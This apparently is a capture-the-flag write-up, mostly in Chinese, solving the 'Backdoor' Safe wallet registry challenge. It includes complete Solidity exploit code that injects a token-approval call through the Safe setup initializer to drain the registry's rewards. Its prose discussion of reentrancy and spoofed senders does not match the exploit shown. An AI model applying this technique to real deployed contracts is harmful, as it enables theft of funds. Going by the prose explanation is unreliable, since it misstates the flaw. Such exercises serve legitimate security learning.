好欸我的新玩具到了,之後寫完這個 CTF 就可以來玩黑魔法了
To incentivize the creation of more secure wallets in their team, someone has deployed a registry of Safe wallets. When someone in the team deploys and registers a wallet, they earn 10 DVT tokens.
The registry tightly integrates with the legitimate Safe Proxy Factory. It includes strict safety checks.
Currently there are four people registered as beneficiaries: Alice, Bob, Charlie and David. The registry has 40 DVT tokens in balance to be distributed among them.
Uncover the vulnerability in the registry, rescue all funds, and deposit them into the designated recovery account. In a single transaction.
按照題目的要求,我們需要在一次交易中完成我們的目標
然後要求我們需要把合約地址中因為有 4 個用戶註冊而產生的 40 DVT 轉移到恢復帳號的地址中
在 proxyCreated
函數中,合約在檢查所有條件之後,才進行代幣的轉移(SafeTransferLib.safeTransfer(...))
。
如果代幣轉移的合約是可重入的,這可能會導致攻擊者能夠重複調用 proxyCreated
函數,從而獲得不應得的代幣。
而且合約依賴於 Safe
合約的多個函數(如 getThreshold()
和 getOwners())
。如果這些函數的行為發生變化,可能會導致合約的安全性問題。尤其是在一個未經審計的外部合約中,這樣的依賴關係可能導致未預期的後果。
雖然合約檢查 msg.sender
是否為 walletFactory
,但如果 walletFactory
的地址被更改或攻擊者能夠偽造 msg.sender
contract:
contract BackdoorSolution {
uint256 private constant PAYMENT_AMOUNT = 10e18;
address backdoor;
address token;
function go(WalletRegistry walletRegistry, SafeProxyFactory walletFactory, Safe singletonCopy, address[] calldata users, address token_, address recovery) external {
backdoor = address(new Backdoor());
token = token_;
for (uint256 i = 0; i < users.length; i++) {
bytes memory initializer = getInitializer(users[i]);
address proxy = address(
walletFactory.createProxyWithCallback(address(singletonCopy), initializer, 0, walletRegistry)
);
(bool success, ) = token.call(abi.encodeWithSignature("transferFrom(address,address,uint256)", proxy, recovery, PAYMENT_AMOUNT));
require(success, "Transfer failed");
}
}
function getInitializer(address user) internal view returns (bytes memory initializer) {
address[] memory _owners = new address[](1);
_owners[0] = user;
initializer = abi.encodeWithSelector(Safe.setup.selector, _owners, 1, backdoor, abi.encode(token, this), address(0), address(0), 0, address(0));
}
}
contract Backdoor {
fallback() external {
(address token, address owner) = abi.decode(msg.data, (address, address));
(bool success,) = token.call(abi.encodeWithSignature("approve(address,uint256)", owner, 10e18));
require(success, "Approval failed");
}
}
test function:
function test_backdoor() public checkSolvedByPlayer {
new BackdoorSolution().go(walletRegistry, walletFactory, singletonCopy, users, address(token), recovery);
}
每日梗圖(1/1)